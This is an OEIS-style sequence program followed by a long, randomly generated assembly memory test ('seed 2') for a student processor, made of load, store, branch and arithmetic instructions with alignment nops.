; 0,0,0,0,0,0,0,1,1,5,15,42,99,215,429,805,1430,2431,3978,6299,9690,14535,21318,30645,43263,60088,82225,111004,148005,195098,254475,328697,420732,534006,672452,840565,1043460,1286934,1577532,1922618,2330445,2810243,3372291,4028015,4790071,5672453,6690585,7861438,9203634,10737573,12485550,14471888,16723070,19267885,22137570,25365966,28989675,33048230,37584261,42643681,48275865,54533848,61474519,69158834,77652024,87023820,97348680,108706026,121180488,134862156,149846840,166236339,184138713
bin $0,7
add $0,7
div $0,2
add $0,8
div $0,4
sub $0,2
|
sw/552tests/rand_mem/t_2_mem.asm | JPShen-UWM/ThreadKraken | 1 | 103357 | // seed 2
lbi r0, 128 // icount 0
slbi r0, 0 // icount 1
lbi r1, 128 // icount 2
slbi r1, 0 // icount 3
lbi r2, 128 // icount 4
slbi r2, 0 // icount 5
lbi r3, 128 // icount 6
slbi r3, 0 // icount 7
lbi r4, 128 // icount 8
slbi r4, 0 // icount 9
lbi r5, 128 // icount 10
slbi r5, 0 // icount 11
lbi r6, 128 // icount 12
slbi r6, 0 // icount 13
lbi r7, 128 // icount 14
nop // to align meminst icount 15
slbi r7, 0 // icount 16
nop // to align meminst icount 17
ld r6, r1, 6 // icount 18
nop // to align meminst icount 19
st r4, r0, -8 // icount 20
nop // to align meminst icount 21
stu r2, r1, -16 // icount 22
nop // to align meminst icount 23
st r2, r0, -4 // icount 24
nop // to align meminst icount 25
st r3, r0, 6 // icount 26
nop // to align meminst icount 27
ld r2, r0, -14 // icount 28
nop // to align meminst icount 29
ld r4, r1, -6 // icount 30
nop // to align meminst icount 31
st r4, r1, -4 // icount 32
nop // to align meminst icount 33
stu r4, r0, -16 // icount 34
nop // to align meminst icount 35
ld r5, r1, -12 // icount 36
nop // to align meminst icount 37
ld r3, r0, -10 // icount 38
nop // to align meminst icount 39
ld r2, r0, -2 // icount 40
nop // to align meminst icount 41
ld r2, r1, -16 // icount 42
nop // to align meminst icount 43
ld r4, r1, -16 // icount 44
nop // to align meminst icount 45
ld r4, r0, 2 // icount 46
nop // to align meminst icount 47
st r3, r0, 6 // icount 48
nop // to align meminst icount 49
st r6, r0, 14 // icount 50
nop // to align meminst icount 51
ld r3, r0, -2 // icount 52
nop // to align meminst icount 53
ld r6, r0, 0 // icount 54
nop // to align meminst icount 55
st r5, r1, 6 // icount 56
nop // to align meminst icount 57
st r6, r1, 4 // icount 58
nop // to align meminst icount 59
stu r2, r1, -4 // icount 60
nop // to align meminst icount 61
st r3, r1, -16 // icount 62
nop // to align meminst icount 63
stu r4, r1, -2 // icount 64
nop // to align meminst icount 65
st r3, r1, -4 // icount 66
nop // to align meminst icount 67
st r3, r1, 10 // icount 68
nop // to align meminst icount 69
stu r2, r1, -4 // icount 70
nop // to align meminst icount 71
stu r2, r1, 4 // icount 72
nop // to align meminst icount 73
ld r2, r0, 4 // icount 74
nop // to align meminst icount 75
stu r6, r1, -16 // icount 76
nop // to align meminst icount 77
st r5, r1, -16 // icount 78
stu r3, r0, 10 // icount 79
rol r7, r6, r5 // icount 80
nop // to align meminst icount 81
ld r6, r0, -16 // icount 82
nop // to align meminst icount 83
ld r6, r0, -12 // icount 84
nop // to align meminst icount 85
stu r5, r1, 12 // icount 86
nop // to align meminst icount 87
ld r3, r1, 6 // icount 88
nop // to align meminst icount 89
st r6, r0, 12 // icount 90
nop // to align meminst icount 91
ld r6, r1, 4 // icount 92
nop // to align meminst icount 93
ld r3, r0, 10 // icount 94
nop // to align meminst icount 95
st r3, r1, -6 // icount 96
nop // to align meminst icount 97
st r5, r1, 10 // icount 98
nop // to align meminst icount 99
st r2, r1, 14 // icount 100
nop // to align meminst icount 101
stu r5, r0, 6 // icount 102
nop // to align meminst icount 103
stu r6, r0, 0 // icount 104
nop // to align meminst icount 105
stu r5, r1, -12 // icount 106
nop // to align meminst icount 107
st r3, r0, 10 // icount 108
nop // to align meminst icount 109
stu r4, r1, 4 // icount 110
st r6, r1, -10 // icount 111
lbi r3, 0 // icount 112
lbi r5, 0 // icount 113
nop // to align branch icount 114
bltz r2, 28 // icount 115
sll r7, r2, r2 // icount 116
sco r6, r1, r7 // icount 117
add r6, r5, r6 // icount 118
andni r3, r4, 5 // icount 119
lbi r7, 6 // icount 120
sco r5, r4, r5 // icount 121
seq r2, r6, r2 // icount 122
sco r4, r0, r1 // icount 123
xor r2, r5, r4 // icount 124
slt r4, r2, r3 // icount 125
andni r4, r4, 1 // icount 126
stu r5, r4, 10 // icount 127
rori r7, r5, 11 // icount 128
sub r2, r6, r3 // icount 129
andni r5, r5, 1 // icount 130
ld r4, r5, 0 // icount 131
subi r5, r2, 11 // icount 132
srli r7, r3, 3 // icount 133
lbi r4, 15 // icount 134
seq r6, r2, r6 // icount 135
rori r7, r3, 9 // icount 136
slli r7, r3, 4 // icount 137
subi r4, r6, 9 // icount 138
sub r7, r4, r3 // icount 139
rori r6, r5, 12 // icount 140
xor r2, r6, r7 // icount 141
sle r7, r2, r5 // icount 142
slt r4, r7, r2 // icount 143
sll r2, r2, r2 // icount 144
nop // to align meminst icount 145
sll r4, r6, r0 // icount 146
nop // to align meminst icount 147
ld r3, r1, 14 // icount 148
nop // to align meminst icount 149
ld r3, r1, 0 // icount 150
nop // to align meminst icount 151
st r2, r1, -6 // icount 152
nop // to align meminst icount 153
ld r2, r1, -6 // icount 154
nop // to align meminst icount 155
st r5, r0, -16 // icount 156
stu r6, r0, -14 // icount 157
lbi r3, 0 // icount 158
lbi r3, 0 // icount 159
nop // to align branch icount 160
beqz r0, 24 // icount 161
rol r4, r5, r0 // icount 162
subi r3, r3, 10 // icount 163
sle r4, r2, r2 // icount 164
seq r3, r2, r1 // icount 165
slli r5, r3, 8 // icount 166
sle r3, r6, r4 // icount 167
seq r7, r1, r3 // icount 168
roli r4, r1, 10 // icount 169
andni r3, r3, 1 // icount 170
stu r4, r3, 8 // icount 171
rori r7, r5, 14 // icount 172
nop // to align meminst icount 173
andni r1, r1, 1 // icount 174
stu r4, r1, 12 // icount 175
srl r3, r0, r6 // icount 176
xori r6, r4, 0 // icount 177
lbi r3, 1 // icount 178
sub r3, r5, r3 // icount 179
lbi r3, 0 // icount 180
nop // to align meminst icount 181
andni r0, r0, 1 // icount 182
stu r3, r0, 10 // icount 183
lbi r4, 1 // icount 184
seq r2, r6, r3 // icount 185
sll r7, r4, r1 // icount 186
rori r4, r3, 11 // icount 187
addi r7, r6, 3 // icount 188
andni r3, r6, 7 // icount 189
sle r3, r2, r5 // icount 190
stu r2, r1, -6 // icount 191
andni r6, r6, 1 // icount 192
nop // to align meminst icount 193
stu r4, r6, 12 // icount 194
nop // to align meminst icount 195
ld r4, r1, -12 // icount 196
nop // to align meminst icount 197
ld r4, r1, 10 // icount 198
nop // to align meminst icount 199
stu r6, r1, 8 // icount 200
nop // to align meminst icount 201
stu r3, r1, 0 // icount 202
nop // to align meminst icount 203
st r4, r0, -2 // icount 204
nop // to align meminst icount 205
ld r5, r1, 2 // icount 206
nop // to align meminst icount 207
st r2, r1, 6 // icount 208
nop // to align meminst icount 209
ld r5, r1, 10 // icount 210
st r5, r0, 8 // icount 211
addi r1, r1, -14 // change base addr // icount 212
lbi r7, 0 // icount 213
lbi r7, 0 // icount 214
bnez r1, 24 // icount 215
andni r3, r6, 9 // icount 216
nop // to align meminst icount 217
andni r2, r2, 1 // icount 218
ld r5, r2, 6 // icount 219
lbi r4, 11 // icount 220
andn r3, r3, r2 // icount 221
slt r4, r0, r3 // icount 222
rol r6, r4, r6 // icount 223
sle r4, r1, r6 // icount 224
nop // to align meminst icount 225
andni r5, r5, 1 // icount 226
ld r4, r5, 6 // icount 227
sll r3, r4, r6 // icount 228
rol r7, r5, r6 // icount 229
rol r5, r0, r4 // icount 230
addi r3, r1, 3 // icount 231
sll r3, r5, r2 // icount 232
roli r5, r3, 2 // icount 233
slli r7, r0, 15 // icount 234
slt r3, r0, r1 // icount 235
sco r3, r2, r2 // icount 236
ror r4, r6, r1 // icount 237
ror r5, r4, r6 // icount 238
sub r7, r0, r2 // icount 239
sle r5, r1, r0 // icount 240
srl r7, r3, r6 // icount 241
sco r6, r0, r6 // icount 242
nop // to align meminst icount 243
lbi r2, 0 // icount 244
nop // to align meminst icount 245
ld r5, r0, -2 // icount 246
nop // to align meminst icount 247
ld r6, r1, 4 // icount 248
ld r5, r0, 10 // icount 249
lbi r7, 0 // icount 250
lbi r2, 0 // icount 251
nop // to align branch icount 252
beqz r3, 16 // icount 253
roli r5, r5, 9 // icount 254
roli r6, r1, 13 // icount 255
sle r7, r5, r5 // icount 256
sub r3, r2, r1 // icount 257
andn r6, r3, r5 // icount 258
rori r7, r6, 2 // icount 259
roli r7, r7, 5 // icount 260
sle r7, r5, r6 // icount 261
srli r4, r3, 15 // icount 262
seq r3, r7, r0 // icount 263
andni r2, r2, 1 // icount 264
stu r4, r2, 10 // icount 265
seq r6, r7, r6 // icount 266
roli r7, r0, 14 // icount 267
subi r3, r4, 9 // icount 268
sco r3, r3, r7 // icount 269
sle r3, r2, r1 // icount 270
stu r5, r0, 0 // icount 271
lbi r4, 0 // icount 272
lbi r2, 0 // icount 273
nop // to align branch icount 274
bgez r4, 4 // icount 275
ror r2, r5, r1 // icount 276
sco r3, r5, r4 // icount 277
andni r5, r7, 3 // icount 278
nop // to align meminst icount 279
srl r3, r2, r6 // icount 280
nop // to align meminst icount 281
st r3, r1, -12 // icount 282
nop // to align meminst icount 283
ld r6, r0, 4 // icount 284
nop // to align meminst icount 285
st r2, r0, 10 // icount 286
nop // to align meminst icount 287
st r6, r0, 4 // icount 288
nop // to align meminst icount 289
ld r6, r0, -10 // icount 290
nop // to align meminst icount 291
ld r2, r1, -4 // icount 292
nop // to align meminst icount 293
st r6, r0, -6 // icount 294
nop // to align meminst icount 295
st r2, r1, 14 // icount 296
nop // to align meminst icount 297
st r2, r0, 10 // icount 298
nop // to align meminst icount 299
ld r6, r0, -8 // icount 300
nop // to align meminst icount 301
stu r2, r1, -12 // icount 302
nop // to align meminst icount 303
ld r4, r0, 12 // icount 304
nop // to align meminst icount 305
stu r2, r0, -10 // icount 306
nop // to align meminst icount 307
ld r5, r0, -2 // icount 308
nop // to align meminst icount 309
stu r3, r0, 12 // icount 310
nop // to align meminst icount 311
stu r2, r0, -2 // icount 312
nop // to align meminst icount 313
ld r3, r0, 0 // icount 314
nop // to align meminst icount 315
ld r3, r1, -6 // icount 316
nop // to align meminst icount 317
stu r4, r0, 8 // icount 318
nop // to align meminst icount 319
stu r5, r1, -8 // icount 320
nop // to align meminst icount 321
ld r2, r0, 6 // icount 322
nop // to align meminst icount 323
ld r5, r0, 2 // icount 324
nop // to align meminst icount 325
stu r5, r0, 0 // icount 326
nop // to align meminst icount 327
ld r6, r1, 4 // icount 328
nop // to align meminst icount 329
ld r5, r1, 8 // icount 330
nop // to align meminst icount 331
ld r6, r0, 8 // icount 332
nop // to align meminst icount 333
ld r4, r1, 14 // icount 334
nop // to align meminst icount 335
ld r5, r1, -14 // icount 336
nop // to align meminst icount 337
st r6, r0, 0 // icount 338
nop // to align meminst icount 339
st r6, r0, 6 // icount 340
stu r3, r0, 12 // icount 341
andni r1, r1, 1 // icount 342
nop // to align meminst icount 343
stu r4, r1, 10 // icount 344
nop // to align meminst icount 345
st r6, r0, 8 // icount 346
nop // to align meminst icount 347
ld r6, r1, 2 // icount 348
nop // to align meminst icount 349
ld r6, r1, -10 // icount 350
ld r2, r0, 14 // icount 351
addi r0, r0, -4 // change base addr // icount 352
nop // to align meminst icount 353
addi r0, r0, 2 // change base addr // icount 354
nop // to align meminst icount 355
stu r4, r0, -16 // icount 356
nop // to align meminst icount 357
ld r4, r0, 10 // icount 358
nop // to align meminst icount 359
ld r2, r1, -10 // icount 360
nop // to align meminst icount 361
st r3, r0, 8 // icount 362
nop // to align meminst icount 363
stu r3, r0, 10 // icount 364
nop // to align meminst icount 365
st r6, r0, 6 // icount 366
nop // to align meminst icount 367
ld r3, r0, -12 // icount 368
nop // to align meminst icount 369
st r3, r1, 0 // icount 370
nop // to align meminst icount 371
ld r4, r0, 12 // icount 372
nop // to align meminst icount 373
st r4, r1, -8 // icount 374
nop // to align meminst icount 375
ld r2, r0, 8 // icount 376
nop // to align meminst icount 377
ld r6, r1, -14 // icount 378
nop // to align meminst icount 379
stu r5, r1, 4 // icount 380
nop // to align meminst icount 381
stu r2, r1, -14 // icount 382
nop // to align meminst icount 383
st r6, r0, 4 // icount 384
st r5, r1, 6 // icount 385
add r4, r4, r2 // icount 386
nop // to align meminst icount 387
ld r3, r0, -2 // icount 388
nop // to align meminst icount 389
ld r4, r0, -6 // icount 390
nop // to align meminst icount 391
st r2, r0, 14 // icount 392
nop // to align meminst icount 393
st r2, r0, 2 // icount 394
nop // to align meminst icount 395
stu r6, r0, -2 // icount 396
nop // to align meminst icount 397
ld r6, r1, -10 // icount 398
nop // to align meminst icount 399
ld r2, r1, 4 // icount 400
nop // to align meminst icount 401
ld r4, r1, 4 // icount 402
nop // to align meminst icount 403
ld r6, r0, 14 // icount 404
nop // to align meminst icount 405
st r4, r0, -10 // icount 406
nop // to align meminst icount 407
ld r4, r0, -2 // icount 408
nop // to align meminst icount 409
ld r6, r1, -16 // icount 410
nop // to align meminst icount 411
st r4, r0, -8 // icount 412
nop // to align meminst icount 413
stu r3, r1, -12 // icount 414
nop // to align meminst icount 415
ld r6, r0, -2 // icount 416
nop // to align meminst icount 417
ld r2, r1, 10 // icount 418
nop // to align meminst icount 419
ld r6, r0, 14 // icount 420
nop // to align meminst icount 421
st r6, r0, 6 // icount 422
nop // to align meminst icount 423
st r2, r0, -10 // icount 424
nop // to align meminst icount 425
st r6, r1, -8 // icount 426
nop // to align meminst icount 427
ld r2, r0, 14 // icount 428
ld r4, r1, -2 // icount 429
addi r7, r5, 13 // icount 430
nop // to align meminst icount 431
andn r2, r6, r1 // icount 432
nop // to align meminst icount 433
stu r2, r1, -2 // icount 434
nop // to align meminst icount 435
st r6, r1, -8 // icount 436
nop // to align meminst icount 437
ld r4, r0, -16 // icount 438
nop // to align meminst icount 439
st r4, r0, -16 // icount 440
nop // to align meminst icount 441
st r3, r1, -8 // icount 442
nop // to align meminst icount 443
stu r2, r1, -8 // icount 444
ld r3, r1, -2 // icount 445
xori r7, r6, 4 // icount 446
nop // to align meminst icount 447
ld r2, r1, 2 // icount 448
nop // to align meminst icount 449
st r6, r1, -10 // icount 450
nop // to align meminst icount 451
ld r3, r0, 2 // icount 452
nop // to align meminst icount 453
st r5, r1, 2 // icount 454
nop // to align meminst icount 455
ld r6, r1, -16 // icount 456
nop // to align meminst icount 457
stu r4, r0, 4 // icount 458
nop // to align meminst icount 459
stu r6, r0, -12 // icount 460
nop // to align meminst icount 461
stu r6, r1, -6 // icount 462
nop // to align meminst icount 463
ld r3, r0, -12 // icount 464
nop // to align meminst icount 465
ld r6, r1, -6 // icount 466
nop // to align meminst icount 467
ld r2, r1, 6 // icount 468
nop // to align meminst icount 469
stu r6, r1, 14 // icount 470
ld r6, r1, -16 // icount 471
andn r7, r1, r4 // icount 472
nop // to align meminst icount 473
stu r2, r1, -4 // icount 474
nop // to align meminst icount 475
ld r6, r0, -12 // icount 476
nop // to align meminst icount 477
ld r6, r1, 14 // icount 478
nop // to align meminst icount 479
ld r3, r1, 14 // icount 480
nop // to align meminst icount 481
st r4, r0, 14 // icount 482
nop // to align meminst icount 483
ld r5, r1, 12 // icount 484
nop // to align meminst icount 485
stu r3, r1, 6 // icount 486
nop // to align meminst icount 487
st r6, r0, -10 // icount 488
nop // to align meminst icount 489
ld r4, r1, 14 // icount 490
nop // to align meminst icount 491
ld r2, r1, -12 // icount 492
nop // to align meminst icount 493
ld r4, r0, -6 // icount 494
nop // to align meminst icount 495
ld r4, r1, 4 // icount 496
nop // to align meminst icount 497
ld r5, r1, 8 // icount 498
nop // to align meminst icount 499
st r4, r1, 12 // icount 500
stu r5, r0, 12 // icount 501
addi r1, r1, -4 // change base addr // icount 502
nop // to align meminst icount 503
ld r3, r0, -2 // icount 504
nop // to align meminst icount 505
st r3, r1, 12 // icount 506
nop // to align meminst icount 507
ld r4, r0, 0 // icount 508
nop // to align meminst icount 509
stu r4, r1, -12 // icount 510
nop // to align meminst icount 511
ld r4, r0, -14 // icount 512
nop // to align meminst icount 513
stu r4, r0, -6 // icount 514
nop // to align meminst icount 515
ld r2, r1, 10 // icount 516
nop // to align meminst icount 517
ld r5, r0, -8 // icount 518
nop // to align meminst icount 519
stu r6, r0, 14 // icount 520
nop // to align meminst icount 521
ld r4, r0, 8 // icount 522
nop // to align meminst icount 523
ld r2, r0, -16 // icount 524
nop // to align meminst icount 525
stu r6, r0, -6 // icount 526
nop // to align meminst icount 527
st r5, r1, -14 // icount 528
nop // to align meminst icount 529
ld r4, r0, 6 // icount 530
nop // to align meminst icount 531
stu r5, r1, 6 // icount 532
nop // to align meminst icount 533
ld r3, r0, 2 // icount 534
nop // to align meminst icount 535
ld r2, r1, -2 // icount 536
nop // to align meminst icount 537
st r5, r1, 0 // icount 538
nop // to align meminst icount 539
stu r3, r0, 10 // icount 540
nop // to align meminst icount 541
stu r4, r1, -8 // icount 542
nop // to align meminst icount 543
stu r4, r0, -6 // icount 544
nop // to align meminst icount 545
ld r3, r1, 0 // icount 546
nop // to align meminst icount 547
st r6, r0, -8 // icount 548
nop // to align meminst icount 549
stu r2, r1, 6 // icount 550
nop // to align meminst icount 551
st r3, r1, -8 // icount 552
nop // to align meminst icount 553
ld r5, r0, -4 // icount 554
nop // to align meminst icount 555
stu r6, r1, -12 // icount 556
nop // to align meminst icount 557
ld r3, r1, -16 // icount 558
nop // to align meminst icount 559
ld r4, r0, 2 // icount 560
nop // to align meminst icount 561
ld r4, r1, -8 // icount 562
nop // to align meminst icount 563
st r6, r0, 6 // icount 564
nop // to align meminst icount 565
st r3, r1, 14 // icount 566
nop // to align meminst icount 567
ld r5, r0, -14 // icount 568
nop // to align meminst icount 569
st r5, r1, 6 // icount 570
nop // to align meminst icount 571
ld r3, r0, 14 // icount 572
nop // to align meminst icount 573
st r6, r1, 8 // icount 574
nop // to align meminst icount 575
ld r2, r1, 6 // icount 576
nop // to align meminst icount 577
ld r5, r0, -8 // icount 578
nop // to align meminst icount 579
ld r4, r1, -2 // icount 580
nop // to align meminst icount 581
stu r4, r1, 10 // icount 582
nop // to align meminst icount 583
st r4, r0, 8 // icount 584
nop // to align meminst icount 585
st r3, r0, 2 // icount 586
nop // to align meminst icount 587
stu r4, r0, 8 // icount 588
nop // to align meminst icount 589
st r2, r1, 10 // icount 590
nop // to align meminst icount 591
st r4, r1, 4 // icount 592
nop // to align meminst icount 593
stu r6, r0, -14 // icount 594
nop // to align meminst icount 595
stu r3, r0, 4 // icount 596
nop // to align meminst icount 597
stu r6, r1, 0 // icount 598
nop // to align meminst icount 599
ld r3, r0, -6 // icount 600
nop // to align meminst icount 601
ld r6, r1, -16 // icount 602
nop // to align meminst icount 603
ld r6, r0, 4 // icount 604
nop // to align meminst icount 605
st r4, r0, -2 // icount 606
nop // to align meminst icount 607
ld r6, r1, 0 // icount 608
nop // to align meminst icount 609
stu r5, r1, -10 // icount 610
nop // to align meminst icount 611
st r6, r1, 8 // icount 612
nop // to align meminst icount 613
stu r6, r0, 10 // icount 614
nop // to align meminst icount 615
stu r2, r1, 8 // icount 616
nop // to align meminst icount 617
ld r5, r0, -14 // icount 618
nop // to align meminst icount 619
ld r3, r0, 2 // icount 620
nop // to align meminst icount 621
st r5, r1, 10 // icount 622
nop // to align meminst icount 623
ld r6, r0, -16 // icount 624
nop // to align meminst icount 625
stu r5, r1, 8 // icount 626
nop // to align meminst icount 627
ld r5, r0, -10 // icount 628
nop // to align meminst icount 629
stu r3, r1, 0 // icount 630
nop // to align meminst icount 631
stu r5, r0, -2 // icount 632
nop // to align meminst icount 633
ld r2, r1, -12 // icount 634
nop // to align meminst icount 635
ld r5, r1, -14 // icount 636
nop // to align meminst icount 637
stu r3, r1, -12 // icount 638
nop // to align meminst icount 639
ld r3, r0, -16 // icount 640
nop // to align meminst icount 641
stu r6, r1, -16 // icount 642
nop // to align meminst icount 643
ld r4, r1, -12 // icount 644
nop // to align meminst icount 645
ld r6, r0, 6 // icount 646
nop // to align meminst icount 647
st r5, r0, -14 // icount 648
nop // to align meminst icount 649
stu r3, r1, -16 // icount 650
nop // to align meminst icount 651
stu r5, r1, -8 // icount 652
nop // to align meminst icount 653
ld r4, r1, -16 // icount 654
nop // to align meminst icount 655
ld r3, r1, -8 // icount 656
nop // to align meminst icount 657
ld r5, r0, -2 // icount 658
nop // to align meminst icount 659
stu r4, r0, 14 // icount 660
nop // to align meminst icount 661
stu r5, r0, -4 // icount 662
nop // to align meminst icount 663
st r5, r0, 2 // icount 664
nop // to align meminst icount 665
st r3, r0, 10 // icount 666
nop // to align meminst icount 667
ld r5, r0, 8 // icount 668
nop // to align meminst icount 669
st r3, r0, 8 // icount 670
nop // to align meminst icount 671
ld r6, r1, -4 // icount 672
nop // to align meminst icount 673
st r2, r1, -4 // icount 674
nop // to align meminst icount 675
stu r4, r1, -6 // icount 676
nop // to align meminst icount 677
ld r5, r1, -6 // icount 678
nop // to align meminst icount 679
st r3, r1, 6 // icount 680
nop // to align meminst icount 681
stu r3, r0, -14 // icount 682
nop // to align meminst icount 683
ld r5, r0, 12 // icount 684
nop // to align meminst icount 685
ld r2, r0, 12 // icount 686
nop // to align meminst icount 687
ld r6, r0, -2 // icount 688
nop // to align meminst icount 689
ld r2, r1, -16 // icount 690
nop // to align meminst icount 691
ld r2, r0, 12 // icount 692
ld r5, r1, -4 // icount 693
srli r4, r4, 4 // icount 694
nop // to align meminst icount 695
ld r3, r0, -8 // icount 696
nop // to align meminst icount 697
ld r5, r1, 4 // icount 698
nop // to align meminst icount 699
ld r5, r1, -6 // icount 700
nop // to align meminst icount 701
ld r2, r0, 12 // icount 702
nop // to align meminst icount 703
stu r5, r0, -2 // icount 704
nop // to align meminst icount 705
st r4, r0, -16 // icount 706
nop // to align meminst icount 707
ld r4, r0, 6 // icount 708
nop // to align meminst icount 709
ld r2, r0, -6 // icount 710
nop // to align meminst icount 711
stu r3, r1, -8 // icount 712
nop // to align meminst icount 713
stu r3, r0, 12 // icount 714
nop // to align meminst icount 715
ld r5, r1, 0 // icount 716
nop // to align meminst icount 717
ld r3, r0, -6 // icount 718
nop // to align meminst icount 719
stu r4, r0, -8 // icount 720
nop // to align meminst icount 721
stu r6, r1, 8 // icount 722
nop // to align meminst icount 723
st r5, r1, -12 // icount 724
nop // to align meminst icount 725
st r2, r0, -12 // icount 726
nop // to align meminst icount 727
ld r6, r0, 12 // icount 728
nop // to align meminst icount 729
st r3, r1, -2 // icount 730
nop // to align meminst icount 731
st r4, r0, 6 // icount 732
nop // to align meminst icount 733
ld r5, r1, -8 // icount 734
nop // to align meminst icount 735
ld r5, r1, -8 // icount 736
nop // to align meminst icount 737
stu r2, r1, -2 // icount 738
ld r3, r1, 6 // icount 739
andni r7, r7, 1 // icount 740
nop // to align meminst icount 741
st r7, r7, 2 // icount 742
nop // to align meminst icount 743
ld r3, r1, 6 // icount 744
nop // to align meminst icount 745
ld r2, r0, -2 // icount 746
nop // to align meminst icount 747
stu r3, r0, -10 // icount 748
nop // to align meminst icount 749
st r3, r0, 2 // icount 750
nop // to align meminst icount 751
ld r2, r1, -16 // icount 752
nop // to align meminst icount 753
ld r4, r1, 2 // icount 754
nop // to align meminst icount 755
stu r4, r1, -4 // icount 756
nop // to align meminst icount 757
ld r5, r1, -16 // icount 758
nop // to align meminst icount 759
ld r3, r1, -12 // icount 760
nop // to align meminst icount 761
ld r6, r0, 2 // icount 762
nop // to align meminst icount 763
ld r6, r0, 4 // icount 764
nop // to align meminst icount 765
stu r5, r0, 6 // icount 766
nop // to align meminst icount 767
ld r3, r0, 14 // icount 768
nop // to align meminst icount 769
st r5, r0, -10 // icount 770
nop // to align meminst icount 771
st r5, r0, -8 // icount 772
nop // to align meminst icount 773
ld r6, r1, 4 // icount 774
nop // to align meminst icount 775
ld r5, r1, -6 // icount 776
nop // to align meminst icount 777
ld r3, r0, -6 // icount 778
nop // to align meminst icount 779
ld r4, r0, 2 // icount 780
nop // to align meminst icount 781
ld r6, r0, 0 // icount 782
nop // to align meminst icount 783
ld r2, r1, 8 // icount 784
nop // to align meminst icount 785
ld r2, r1, -2 // icount 786
nop // to align meminst icount 787
stu r5, r1, -16 // icount 788
nop // to align meminst icount 789
st r5, r1, 6 // icount 790
nop // to align meminst icount 791
ld r4, r0, 2 // icount 792
nop // to align meminst icount 793
ld r3, r1, -8 // icount 794
nop // to align meminst icount 795
stu r3, r0, 14 // icount 796
nop // to align meminst icount 797
st r5, r0, 10 // icount 798
nop // to align meminst icount 799
st r5, r1, 6 // icount 800
nop // to align meminst icount 801
ld r3, r0, -4 // icount 802
nop // to align meminst icount 803
st r3, r1, 10 // icount 804
nop // to align meminst icount 805
st r3, r1, 0 // icount 806
nop // to align meminst icount 807
stu r3, r0, 0 // icount 808
nop // to align meminst icount 809
ld r2, r0, -8 // icount 810
nop // to align meminst icount 811
ld r6, r1, -10 // icount 812
nop // to align meminst icount 813
ld r4, r0, -8 // icount 814
nop // to align meminst icount 815
ld r5, r1, 10 // icount 816
nop // to align meminst icount 817
ld r2, r1, -12 // icount 818
nop // to align meminst icount 819
ld r6, r1, 0 // icount 820
nop // to align meminst icount 821
stu r5, r1, 8 // icount 822
nop // to align meminst icount 823
st r2, r0, -2 // icount 824
nop // to align meminst icount 825
ld r4, r1, -12 // icount 826
nop // to align meminst icount 827
st r5, r0, -12 // icount 828
nop // to align meminst icount 829
ld r4, r1, 8 // icount 830
nop // to align meminst icount 831
stu r2, r0, -10 // icount 832
nop // to align meminst icount 833
st r4, r1, -16 // icount 834
nop // to align meminst icount 835
ld r2, r1, 0 // icount 836
nop // to align meminst icount 837
st r6, r0, 14 // icount 838
nop // to align meminst icount 839
ld r5, r0, 4 // icount 840
nop // to align meminst icount 841
stu r3, r1, 2 // icount 842
nop // to align meminst icount 843
stu r6, r1, -12 // icount 844
nop // to align meminst icount 845
stu r3, r0, 6 // icount 846
nop // to align meminst icount 847
ld r3, r1, 12 // icount 848
nop // to align meminst icount 849
ld r6, r1, 14 // icount 850
st r5, r1, 10 // icount 851
lbi r2, 0 // icount 852
lbi r7, 0 // icount 853
nop // to align branch icount 854
beqz r6, 20 // icount 855
sco r4, r6, r2 // icount 856
slli r7, r6, 15 // icount 857
andni r4, r4, 1 // icount 858
ld r2, r4, 10 // icount 859
andn r2, r6, r5 // icount 860
lbi r3, 4 // icount 861
sco r7, r3, r5 // icount 862
slbi r5, 10 // icount 863
sle r5, r2, r2 // icount 864
addi r5, r4, 12 // icount 865
andni r1, r1, 1 // icount 866
ld r7, r1, 8 // icount 867
xor r3, r2, r4 // icount 868
sco r3, r5, r7 // icount 869
add r3, r7, r5 // icount 870
subi r4, r6, 3 // icount 871
lbi r2, 11 // icount 872
rori r5, r2, 5 // icount 873
srli r5, r2, 12 // icount 874
srli r4, r3, 15 // icount 875
andni r7, r4, 2 // icount 876
nop // to align meminst icount 877
andn r3, r5, r5 // icount 878
nop // to align meminst icount 879
st r5, r1, 8 // icount 880
nop // to align meminst icount 881
ld r3, r0, 10 // icount 882
nop // to align meminst icount 883
ld r6, r1, 2 // icount 884
ld r4, r1, 12 // icount 885
addi r1, r1, 2 // change base addr // icount 886
nop // to align meminst icount 887
st r4, r1, 10 // icount 888
nop // to align meminst icount 889
ld r4, r0, -8 // icount 890
nop // to align meminst icount 891
st r4, r1, -14 // icount 892
nop // to align meminst icount 893
ld r6, r1, -2 // icount 894
nop // to align meminst icount 895
st r4, r1, -2 // icount 896
nop // to align meminst icount 897
stu r2, r0, -2 // icount 898
nop // to align meminst icount 899
ld r5, r1, -6 // icount 900
nop // to align meminst icount 901
stu r3, r0, -12 // icount 902
nop // to align meminst icount 903
stu r4, r1, -10 // icount 904
nop // to align meminst icount 905
ld r2, r1, 0 // icount 906
nop // to align meminst icount 907
stu r6, r1, -14 // icount 908
nop // to align meminst icount 909
st r5, r1, 10 // icount 910
nop // to align meminst icount 911
st r5, r1, 8 // icount 912
nop // to align meminst icount 913
ld r2, r1, 12 // icount 914
nop // to align meminst icount 915
st r2, r1, 6 // icount 916
nop // to align meminst icount 917
ld r2, r0, -8 // icount 918
nop // to align meminst icount 919
stu r3, r0, 12 // icount 920
nop // to align meminst icount 921
ld r5, r0, 2 // icount 922
nop // to align meminst icount 923
st r2, r1, -4 // icount 924
nop // to align meminst icount 925
ld r5, r1, -2 // icount 926
nop // to align meminst icount 927
stu r5, r1, -2 // icount 928
nop // to align meminst icount 929
ld r3, r1, 8 // icount 930
nop // to align meminst icount 931
ld r3, r1, 10 // icount 932
nop // to align meminst icount 933
stu r5, r0, -16 // icount 934
nop // to align meminst icount 935
stu r4, r0, -8 // icount 936
nop // to align meminst icount 937
st r5, r0, 0 // icount 938
nop // to align meminst icount 939
st r4, r0, 10 // icount 940
nop // to align meminst icount 941
ld r3, r1, 0 // icount 942
nop // to align meminst icount 943
stu r4, r1, -16 // icount 944
nop // to align meminst icount 945
ld r3, r0, -6 // icount 946
nop // to align meminst icount 947
st r3, r0, -16 // icount 948
nop // to align meminst icount 949
ld r4, r1, -10 // icount 950
nop // to align meminst icount 951
ld r6, r0, 12 // icount 952
nop // to align meminst icount 953
ld r2, r0, -14 // icount 954
nop // to align meminst icount 955
st r3, r0, 6 // icount 956
nop // to align meminst icount 957
ld r3, r1, 0 // icount 958
nop // to align meminst icount 959
ld r2, r0, 10 // icount 960
nop // to align meminst icount 961
st r5, r1, -6 // icount 962
nop // to align meminst icount 963
ld r3, r1, 0 // icount 964
